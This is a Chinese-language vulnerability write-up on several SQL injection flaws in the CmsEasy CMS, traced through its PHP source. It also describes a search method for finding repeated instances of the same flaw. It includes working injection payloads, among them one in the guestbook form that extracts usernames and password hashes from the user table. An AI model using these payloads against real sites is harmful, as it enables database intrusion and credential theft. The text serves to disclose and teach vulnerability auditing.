CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

漏洞作者: xfkxfk

首先来看看union_act.php:

[php]

function register_action() {

$r = $this->_union->getrow(array('userid'=>$this->view->data['userid']));

if($r) {

echo '<script type="text/javascript">alert("'.lang('你已经申请,转入联盟页面!').'")</script>';

front::refresh(url::create('union/stats'));

}

if(front::post('submit')) {

if(!config::get('reg_on')) {

front::flash(lang('网站已经关闭注册!'));

return;

}

if(config::get('verifycode')) {

if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {

front::flash(lang('验证码错误!'));

return;

}

}

if(front::post('nickname') != strip_tags(front::post('nickname'))

||front::post('nickname') != htmlspecialchars(front::post('nickname'))

) {

front::flash(lang('姓名不规范!'));

return;

}

if(strlen(front::post('nickname'))<4) {

front::flash(lang('请填写认真填写真实姓名!'));

return;

}

if(strlen(front::post('payaccount'))<1) {

front::flash(lang('请填写支付账号!'));

return;

}

if(strlen(front::post('tel'))<1) {

front::flash(lang('请填写联系电话!'));

return;

}

if(strlen(front::post('address'))<1) {

front::flash(lang('请填写联系地址!'));

return;

}

……省略……

$userarr = array();

$userarr['nickname'] = front::$post['nickname'];

$userarr['tel'] = front::$post['tel'];

$userarr['address'] = front::$post['address'];

//$userarr['e_mail'] = front::$post['e_mail'];

$unionarr = array();

$unionarr['userid'] = $this->view->data['userid'];

$unionarr['username'] = $this->view->data['username'];

$unionarr['payaccount'] = front::$post['payaccount'];

$unionarr['website'] = front::$post['website'];

$unionarr['profitmargin'] = union::getconfig('profitmargin');

$unionarr['regtime'] = time();

$unionarr['regip'] = front::ip();

$unionarr['passed'] = 1;

//var_dump($unionarr);

if(front::post('nickname') &&$this->view->data['userid']) {

$insert=$this->_user->rec_update($userarr,'userid='.$this->view->user['userid']);

$insert1 = $this->_union->rec_insert($unionarr);

if($insert &&$insert1) front::flash(lang('申请成功!'));

else {

front::flash(lang('申请失败!'));

return;

}

front::redirect(url::create('union/stats'));

exit;

}

else {

front::flash(lang('申请失败!'));

return;

}

}

}

[/php]

注意这里:

$insert1 = $this->_union->rec_insert($unionarr);

我们来看看rec_insert的处理:

[php]

function sql_delete($tbname,$where) {

$this->condition($where);

return "DELETE FROM `".$tbname."` WHERE ".$where;

}

 

function sql_insert($tbname,$row) {

$sqlfield='';

$sqlvalue='';

foreach ($row as $key=>$value) {

if (in_array($key,explode(',',$this->getcolslist()))) {

$value=$value;

$sqlfield .= $key.",";

$sqlvalue .= "'".$value."',";

}

}

return "INSERT INTO `".$tbname."`(".substr($sqlfield,0,-1).") VALUES (".substr($sqlvalue,0,-1).")";

}

[/php]

最后直接进入INSERT INTO,进入SQL语句

大家知道这里的front::$post取出来的内容都是被过滤,转义的内容,所以没办法利用

我们来看看$this->view->data['username']这个内容是什么

还是union_act.php文件:

[php]

function init() {

if(!union::getconfig('enabled')) {

echo '<script type="text/javascript">alert("'.lang('推广联盟未开启,转让会员中心!').'")</script>';

front::refresh(url::create('user/index'));

}

$user='';

if(cookie::get('login_username') &&cookie::get('login_password')) {

$user=new user();

var_dump(cookie::get('login_username'));

$user=$user->getrow(array('username'=>cookie::get('login_username')));

}

if(!is_array($user) &&front::$act != 'into'&&front::$act != 'login'&&front::$act != 'register'&&front::$act != 'login_js'&&front::$act != 'login_success'&&front::$act != 'getpass'&&front::$act != 'edit'){

front::redirect(url::create('user/login'));

}else{

if (is_array($user) && cookie::get('login_password') == front::cookie_encode($user['password'])) {

$this->view->user = $user;

$this->view->usergroupid = $user['groupid'];

$obj = new usergroup();

$this->roles = $obj->getrow(array('groupid'=>$this->view->usergroupid));

}

}

$this->_user=new user;

$this->view->form = $this->_user->get_form();

$this->view->field = $this->_user->getFields();

$this->view->primary_key=$this->_user->primary_key;

$this->view->data = $this->view->user;

$this->_union = new union();

$this->view->uniondata = $this->_union->getrow(array('userid'=>$this->view->data['userid']));

if(!$this->view->uniondata &&front::$act != 'register'&&front::$act != 'into') {

echo '<script type="text/javascript">alert("'.lang('未申请账号,转入联盟申请页面!').'");window.location.href="'.url::create('union/register').'";</script>';

//front::refresh(url::create('union/register'));

}

$this->_pagesize=config::get('manage_pagesize');

}

[/php]

注意这几处关系:

$user=$user->getrow(array('username'=>cookie::get('login_username')));

$this->view->user = $user;

$this->view->data = $this->view->user;

所以由上面三处赋值关系可以看到

$this->view->data就是当前登录用户的用户属性信息。

所以到这里我们来想一想:

要是这里的用户属性信息就是$this->view->data的内容再进入SQL语句时,能带入单引号’或者反斜杠\,那么就可能导致SQL注入。

带着这个问题,我们来看看$this->view->data即用户属性信息是如何存进数据库的,能不能带入特殊符号进入。

来看看user_act.php,看看用户注册是带入的用户信息:

[php]

function register_action() {

……省略……

if(front::post('username') &&front::post('password')) {

$username=front::post('username');

$password=md5(front::post('password'));

$e_mail=front::post('e_mail');

$tel=front::post('tel');

$data=array(

'username'=>$username,

'password'=>$password,

'e_mail'=>$e_mail,

'tel'=>$tel,

'groupid'=>101,

'userip'=>front::ip()

);

//phpox 2011-06-10

foreach($this->view->field as $f){

$name=$f['name'];

if(!preg_match('/^my_/',$name)) {

unset($field[$name]);

continue;

}

if(!setting::$var['user'][$name]['showinreg']) {

continue;

}

$data[$name] = front::post($name);

}

if($this->_user->getrow(array('username'=>$username))) {

front::flash(lang('该用户名已被注册!'));

return;

}

……省略……

$user=$data;

cookie::set('login_username',$user['username']);

cookie::set('login_password',front::cookie_encode($user['password']));

session::set('username',$user['username']);

front::redirect(url::create('user'));

exit;

[/php]

可以看到这里的用户名username直接赋给了cookie[login_username]

通过测试,我们发现在注册是用户名username处可以注册反斜杠“\”,如图:

05160730d5eed7146d1f425b566a15aed4e9040d

 

 

所以通过上面的分析与测试得出结论:

1、 注册一个用户,用户名中带反斜杠,如:222222\;

2、 登陆后,此用户的用户名进入cookie[login_username];

3、 在会员中心,推广联盟,注册用户时,根据cookie[login_username]取出当前用户的信息,如userid,username等,直接赋给$this->view->data;

4、 在注册时,没有处理$this->view->data[‘username’],$this->view->data[‘username’]直接进入INSERT INTO SQL语句;

5、 由于用户名username中有反斜杠’\’,进入SQL语句后导致反斜杠与其后的单引号“’”结合,使单引号失效,导致SQL注入,如:’userid’,’username\’,’website’,所以最后这里的website逃逸了单引号保护,导致SQL语句执行。

 

然后我们来证明漏洞:

首先注册推广联盟:

05160811fc9220cc383395cf11e37758221ed2da

 

然后抓包,此时cookie中的cookie[login_username]为222222\\,这里修改为222222\

然后修改postdata中payaccount=,222222,USER(),2,1111111,1111111,11)#

然后提交。

数据库执行记录:

0516083134a1a52dea71c2663ab1f3e2cf3f8511

 

最后看看注册推广联盟后的资料:

05160850f6c37ef78a90e5a305e642ade8abe394

 

Website字段的内容已经被修改为user()的值了!

=========================================华丽的分割线=====================================

通过对cmseasy的代码审计发现此问题不知一处,存在多处

问题的原理都是一样username直接进入SQL语句,但是之间的关系和利用却不一样。

下面我们来看看如何快速找出同一问题引发的大面积问题及漏洞点

也就是我们要说的如何从找到一处SQL注入漏洞到多处SQL注入漏洞。

首先我们上面分析的推广联盟注册处的SQL注入漏洞中,可以看到:

第一, 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;

第二, 此user的属性信息$this->view->user[‘username’]被赋给了某一变量,然后进入了数据库。

那么我们先来搜索取出用户信息的文件,去掉admin文件:

全局搜索:$user=$user->getrow(array('username'=>cookie::get('login_username')))内容

0516103840253d2e6ee5102a03fc35dd59b57548

 

 

下来看看取出user的信息是否付给$this->view->user,去掉admin文件

05161101863f11dd32bff79879327c7eced890a3

然后来看看$this->view->user[‘username’]被赋值的情况,去掉admin文件

全局搜索=$this->view->user['username'],记得有个=号

05161124bf5a0bdc4933eefc2fb69cfc056192e3

 

最后集合三次的搜索,满足两个条件的文件有:

Guestbook_cat.php、mamage_act.php文件

来看看guestbook_act.php文件,是否存在SQL注入漏洞

[php]

function init() {

……

$user='';

if(cookie::get('login_username') &&cookie::get('login_password')) {

$user=new user();

$user=$user->getrow(array('username'=>cookie::get('login_username')));

}

$this->view->user=$user;

……

取出了user的属性信息,并赋给了$this->view->user

function index_action() {

……

front::$post['checked']=0;

if(empty($this->view->user)) {

front::$post['userid']=0;

front::$post['username']='Óοͣº'.front::$post['nickname'];

}else {

front::$post['userid']=$this->view->user['userid'];

front::$post['username']=$this->view->user['username'];

}

front::$post['adddate']=date('Y-m-d H:i:s');

front::$post['ip']=front::ip();

if (!get_magic_quotes_gpc()) {

front::$post['content'] = front::$post['content'];

}

front::$post['title']=strip_tags(front::$post['title']);

$data=front::$post;

$insert=$this->_table->rec_insert($data);

[/php]

这里在留言时:

front::$post['username']=$this->view->user['username'];

然后

$data=front::$post;

$insert=$this->_table->rec_insert($data);

最后$this->view->user['username']进入了rec_insert

在rec_insert中进入了SQL语句,没有处理,导致了同样的SQL注入漏洞

只要在留言时,修改留言内容为:

guesttel=333333&nickname=333333&guestemail=333333&guestqq=333333&title=333333&username=333333&content=,(SELECT CONCAT(USERNAME,0x23,PASSWORD) FROM cmseasy_user WHERE LIMIT 0,1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+

然后在留言内容中就可得到用户账户信息。

05161233d85c1d7880eb6af7b5a883bc32ee7b99
结论:

成功找到一处SQL注入漏洞

再来看看另外一个文件manage_act.php文件

[php]

function init() {

$user='';

$guest = front::get('guest');

if($guest=='1'&&config::get('opguestadd')) {

$user = 'Guest';

}else {

if(cookie::get('login_username') &&cookie::get('login_password')) {

$user=new user();

$user=$user->getrow(array('username'=>cookie::get('login_username')));

}

}

……

$this->view->user=$user;

[/php]

取出了user的属性信息,并赋给了$this->view->user

在会员中心,内容管理处:

[php]

function add_action() {

if(front::post('submit') &&$this->manage->vaild()) {

$this->manage->filter();

$this->manage->save_before();

front::$post['checked']=0;

front::$post['userid']=$this->view->user['userid'];

front::$post['username']=$this->view->user['username'];

front::$post['author']=$this->view->user['username'];

front::$post['adddate']=date('Y-m-d H:i:s');

front::$post['ip']=front::ip();

$data=array();

……

$data=array_merge($data,front::$post);

$insert=$this->_table->rec_insert($data);

[/php]

注意这里:

front::$post['username']=$this->view->user['username'];

front::$post['author']=$this->view->user['username'];

$data=array_merge($data,front::$post);

$insert=$this->_table->rec_insert($data);

最后$this->view->user['username']也进入了数据库,也导致了SQL注入。

具体构造就不给出了。

结论:

成功找到一处SQL注入漏洞

下面我们再来扩展:

第一、 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;或者赋给其他;或者$this->view->user再次赋给其他,如$this->view->data = $this->view->user;

第二、 此user的属性信息$this->view->user[‘username’]或者$this->view->data[‘username’]被赋给了某一变量,然后进入了数据库。

第三、 在搜索赋值操作时,如全局搜索:$this->view->user=$user时,再搜索一次

$this->view->user = $user,注意这里=号两边的空格

然后根据上面的步骤,我们来验证一下:

全局搜索$user=$user->getrow(array('username'=>cookie::get('login_username'))

全局搜索:

$this->view->user = $user以及$this->view->user=$user

然后继续全局搜索

=$this->view->user以及= $this->view->user

最后全局搜索

= $this->view->data['username']以及$this->view->data['username']

最后又搜索到union_act.php文件

正如我们最开始分析的推广联盟注册时的漏洞一样!

结论:

成功找到一处SQL注入漏洞

下面我们再来一次扩展:

第一、 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;或者赋给其他;或者$this->view->user再次赋给其他,如$this->view->data = $this->view->user;

第二、 此user的属性信息$this->view->user[‘username’]或者$this->view->data[‘username’]通过拼接赋给一个变量,或者直接进入SQL语句

第三、 如xxx.$this->view->user['username'].yyy

下面我们来验证一下:

全局搜索$user=$user->getrow(array('username'=>cookie::get('login_username'))

全局搜索:

$this->view->user = $user以及$this->view->user=$user

最后全局搜索

.$this->view->user['username']以及$this->view->user['username'].

最后又能搜到vote_act.php

[php]

function init() {

if(cookie::get('login_username') &&cookie::get('login_password')) {

$user=new user();

$user=$user->getrow(array('username'=>cookie::get('login_username')));

if(is_array($user) &&cookie::get('login_password')==front::cookie_encode($user['password'])) {

$this->view->user=$user;

var_dump($this->view->user);

$this->view->usergroupid=$user['groupid'];

}

}

[/php]

然后再投票时:

[php]

function do_action() {

……

$vote_data=array_merge($_vote,array('votes'=>$votes,'aid'=>front::post('aid'),'users'=>$_vote['users'].$this->view->user['username'].','));

$vote->rec_replace($vote_data,front::post('aid'));

front::flash(lang('ͶƱ³É¹¦£¡'));

[/php]

可以看打开$this->view->user['username']通过拼接进入$vote_data数组

然后$vote_data数字进入rec_replace,进入SQL语句

但是这里$this->view->user['username']在拼接时,最后面加上了一个逗号:

'users'=>$_vote['users'].$this->view->user['username'].','

这样的话,username的反斜杠就数去对单引号的注释作用了。

结论:

成功找到一处SQL注入问题点,但是无法利用,漏洞查找失败!

总结:

通过上面的方法首先找到一处注入点,分析此问题的出发点及原理,以及整个过程的利用

然后通过整个过程中的关键字匹配,快速找到其他问题点,快速找到漏洞!

 

发表评论